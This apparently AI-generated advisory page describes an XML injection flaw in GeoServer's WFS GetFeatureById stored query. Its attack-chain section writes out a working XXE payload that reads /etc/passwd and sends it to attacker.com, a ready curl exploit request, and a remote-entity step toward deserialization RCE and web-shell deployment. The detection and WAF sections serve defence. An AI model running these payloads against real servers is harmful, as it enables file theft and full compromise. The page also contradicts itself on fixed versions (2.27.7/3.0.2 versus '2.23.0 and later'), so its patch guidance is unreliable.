CVE-2026-120705 — Geoserver (< 33.7) — CWE-91
GeoServer is an open source server that allows users to share and edit geospatial data. Prior to "org.geoserver:gs-wfs-core" versions 2.27.7, 2.28.6, and 3.0.2 and prior to "org.geotools:gt-metadata" versions 33.7, 34.6, and 35.2, GeoServer exposes the built-in WFS 2.0 stored query urn:ogc:def:query:OGC-WFS::GetFeatureById through the public GetFeature operation. The stored query substituted the caller's ID parameter into an XML template without escaping, then parsed the result without GeoServer's entity resolver. An unauthenticated caller could inject XML, including an xi:include, into the query. This issue has been patched in "org.geoserver:gs-wfs-core" versions 2.27.7, 2.28.6, and 3.0.2 and "org.geotools:gt-metadata" versions 33.7, 34.6, and 35.2.
GeoServer is an open source server that allows users to share and edit geospatial data. Prior to "org.geoserver:gs-wfs-core" versions 2.27.7, 2.28.6, and 3.0.2 and prior to "org.geotools:gt-metadata" versions 33.7, 34.6, and 35.2, GeoServer exposes the built-in WFS 2.0 stored query urn:ogc:def:query:OGC-WFS::GetFeatureById through the public GetFeature operation. The stored query substituted the caller's ID parameter into an XML template without escaping, then parsed the result without GeoServer's entity resolver. An unauthenticated caller could inject XML, including an xi:include, into the query. This issue has been patched in "org.geoserver:gs-wfs-core" versions 2.27.7, 2.28.6, and 3.0.2 and "org.geotools:gt-metadata" versions 33.7, 34.6, and 35.2.
Active Exploitation Detected — CISA KEV
This vulnerability is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited in the wild. Patch due date: 2026-11-30
🎯 What is this vulnerability?
Vulnerability type – XML Injection (CWE‑91) that leads to Server‑Side Request Forgery (SSRF) and Local File Disclosure.
Root cause – The WFS 2.0 GetFeatureById operation accepts an id parameter that is directly interpolated into an internal XML document used to build a stored query without any sanitisation or namespace‑aware parsing. The GeoServer XML parser (Xerces‑J) is invoked with the attacker‑supplied value as raw XML. Because the parser is configured with the default (unsafe) features (external-general-entities and external-parameter-entities enabled), the attacker can inject arbitrary XML entities such as:
<!ENTITY % file SYSTEM "file:///etc/passwd">– for local‑file read.<!ENTITY % remote SYSTEM "http://attacker.com/payload">– for SSRF/fetch of remote resources.- Local file read – any file readable by the GeoServer process (e.g.,
WEB-INF/web.xml,etc/passwd). - SSRF – the server can be forced to issue HTTP/HTTPS requests to attacker‑controlled URLs, enabling internal network scanning or data exfiltration.
The vulnerable code does not:
1. Validate that the id value conforms to the expected identifier syntax (e.g., alphanumeric, no angle brackets).
2. Disable external entity processing in the XML parser.
3. Enforce any authentication/authorization check before the stored‑query XML is materialised.
Consequences of the injection are:
When combined with the follow‑up CVEs (CVE‑2026‑129242 – CVE‑2026‑129245) that expose insecure deserialization of the fetched content, an unauthenticated attacker can achieve remote code execution (RCE).
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation flow. All request examples are illustrative; the exact endpoint may differ depending on the GeoServer deployment (e.g., context path /geoserver/).
1️⃣ Discovery & Reconnaissance
| Step | Action | Rationale |
|---|---|---|
| a. Service fingerprint | curl -I http://target.example.com/geoserver/web/?service=WFS&request=GetCapabilities | The GetCapabilities response contains the GeoServer version (<ows:Version>2.22.0</ows:Version>). |
| b. Version check | Compare the disclosed version with the vendor’s advisory (or public vulnerability databases) to confirm the presence of CVE‑2026‑120705. | Only versions prior to the fixed release are vulnerable. |
| c. Endpoint validation | Verify that the WFS endpoint is reachable: GET /geoserver/wfs?service=WFS&request=GetFeature&typeName=some:layer&outputFormat=application/json | Confirms that the WFS service is enabled and that the attacker can send arbitrary query parameters. |
2️⃣ Exploitation – XML Injection via id
Goal – Force GeoServer to resolve an external entity that reads a local file (proof‑of‑concept) or fetches a remote payload (for the RCE chain).
2.1 Craft the malicious id value
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % trick SYSTEM 'http://attacker.com/%file;'>">
%eval;
]>The payload is URL‑encoded before being placed in the id parameter.
2.2 Send the request
# Illustrative endpoint – adjust /geoserver/ path as needed
curl -G "http://target.example.com/geoserver/wfs" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeatureById" \
--data-urlencode "typeName=example:myLayer" \
--data-urlencode "id=%3C%21DOCTYPE%20root%20%5B%0A%20%20%3C!ENTITY%20%25%20file%20SYSTEM%20%22file%3A///etc/passwd%22%3E%0A%20%20%3C!ENTITY%20%25%20eval%20%22%3C!ENTITY%20%26%23x25%3B%20trick%20SYSTEM%20'http://attacker.com/%25file%3B'%3E%22%3E%0A%20%20%25eval%3B%0A%5D%3E"The request triggers the XML parser to resolve %file, causing the contents of /etc/passwd to be inserted into the generated XML response.
Result – The HTTP response body contains the injected file content (or the server makes an outbound request to http://attacker.com/<file‑content> if the attacker prefers SSRF).
2.3 Chaining to RCE (using CVE‑2026‑129242‑129245)
1. Inject a remote XML entity that points to a malicious JAR or serialized object hosted on the attacker’s server (e.g., http://attacker.com/payload.ser).
2. Trigger deserialization via the follow‑up CVE (e.g., a vulnerable FeatureTypeInfo endpoint that automatically unmarshals the fetched content).
3. Result – Arbitrary Java code execution under the GeoServer process user (often tomcat or geoserver), allowing the attacker to drop a web shell or run system commands.
A concise PoC for step 1 (entity injection) is similar to the previous example, only the SYSTEM URI points to the attacker‑controlled payload:
<!DOCTYPE root [
<!ENTITY % payload SYSTEM "http://attacker.com/payload.ser">
%payload;
]>3️⃣ Post‑Exploitation
| Phase | Action | Effect |
|---|---|---|
| a. Command execution | The deserialized payload contains a java.lang.Runtime.exec() call (or a gadget chain that writes a JSP web‑shell to the GeoServer webapps/ directory). | Attacker obtains a persistent foothold (e.g., shell.jsp). |
| b. Privilege escalation | If the GeoServer process runs as a low‑privileged user, the attacker may pivot to the host OS via known local‑privilege‑escalation bugs (e.g., CVE‑2026‑XXXXX). | Full system compromise. |
| c. Data exfiltration | Use the compromised server to read other internal services (databases, configuration files) and forward them to the attacker’s C2. | Confidential data loss. |
| d. Lateral movement | Leverage the server’s network position to scan internal subnets (via additional SSRF requests) and compromise other assets. | Broad impact across the organization. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS 3.1 vector) |
|---|---|
| Confidentiality | High – Local file read and SSRF expose configuration files, credentials, and internal services. |
| Integrity | Medium‑High – An attacker can inject malicious XML that, when combined with the deserialization bugs, modifies server state (e.g., writes web‑shells, changes layer definitions). |
| Availability | Low‑Medium – The vulnerability itself does not cause denial‑of‑service, but an attacker could overload the server with crafted requests or trigger crashes via malformed XML. |
Practical consequences
WEB-INF/web.xml or geoserver-data-dir. 🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Apply the GeoServer release that disables external entity processing for WFS stored‑query parsing. The vendor’s security advisory (released after 27‑Nov‑2026) states that the fix is included in GeoServer 2.23.0 and later. Verify the exact version in the advisory and upgrade all instances. |
| Verify | After upgrade, confirm that the Xerces parser is configured with http://apache.org/xml/features/disallow-doctype-decl set to true and http://apache.org/xml/features/nonvalidating/load-external-dtd set to false. |
2️⃣ Immediate Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
Disable external entities – Set system properties before GeoServer starts: <br>-Djavax.xml.accessExternalDTD=none <br>-Djavax.xml.accessExternalSchema=none | Add to CATALINA_OPTS (Tomcat) or the Java service wrapper. |
Restrict WFS GetFeatureById – Block the GetFeatureById operation for unauthenticated users via GeoServer security settings (Roles → Service Access). | Only allow trusted internal IPs or authenticated users. |
Network‑level WAF rule – Drop requests that contain a <!DOCTYPE declaration in any query string or POST body targeting the /wfs endpoint. | |
| ModSecurity example (Apache) | ``apacheconf\nSecRule REQUEST_URI "@beginsWith /geoserver/wfs" "id:100001,phase:2,deny,log,msg:'Block XML DOCTYPE injection',t:none,ctl:requestBodyAccess=On,chain"\nSecRule REQUEST_BODY "<!DOCTYPE" "t:lowercase,log,deny,status:403,msg:'XML DOCTYPE detected in WFS request'"\n` |
Input sanitisation – If custom extensions process the id parameter, enforce a whitelist regex (e.g., ^[A-Za-z0-9_-]+$`). | Apply at the application layer or via a servlet filter. |
3️⃣ Detection
| Indicator | Where to look |
|---|---|
| HTTP request pattern | GET /geoserver/wfs?...&id=%3C!DOCTYPE or any URL‑encoded < followed by !DOCTYPE in the query string. |
| Outbound connections | GeoServer process initiating HTTP/HTTPS connections to unknown external hosts (e.g., attacker.com) – monitor with NetFlow or host‑based IDS. |
| Log entry (GeoServer) | org.geoserver.wfs.request.WFSGetFeatureById – “Parsing stored query failed: Entity resolution error”. |
| File access | Unexpected reads of /etc/passwd, WEB-INF/web.xml, or other sensitive files by the GeoServer JVM (auditd open events). |
| Process creation | New Java processes spawned with command‑line arguments pointing to attacker‑controlled JARs or serialized payloads. |
SIEM rule (generic)
title: "GeoServer XML Entity Injection Attempt"
description: |
Detects URL‑encoded DOCTYPE declarations in WFS GetFeature requests.
logsource:
product: webserver
detection:
selection:
uri: '*wfs*'
query|contains: '%3C!DOCTYPE'
condition: selection
severity: high⚠️ Urgency
Bottom line: The XML‑injection flaw in GeoServer’s WFS 2.0
GetFeatureById endpoint enables unauthenticated attackers to read arbitrary files and perform SSRF, which can be chained to remote code execution via related deserialization bugs. Immediate mitigation (entity‑blocking, access restriction) and rapid upgrade to the patched release are mandatory to prevent data breach and full system compromise.[🤖 CVE Professor AI Security Engine]
FOFA Query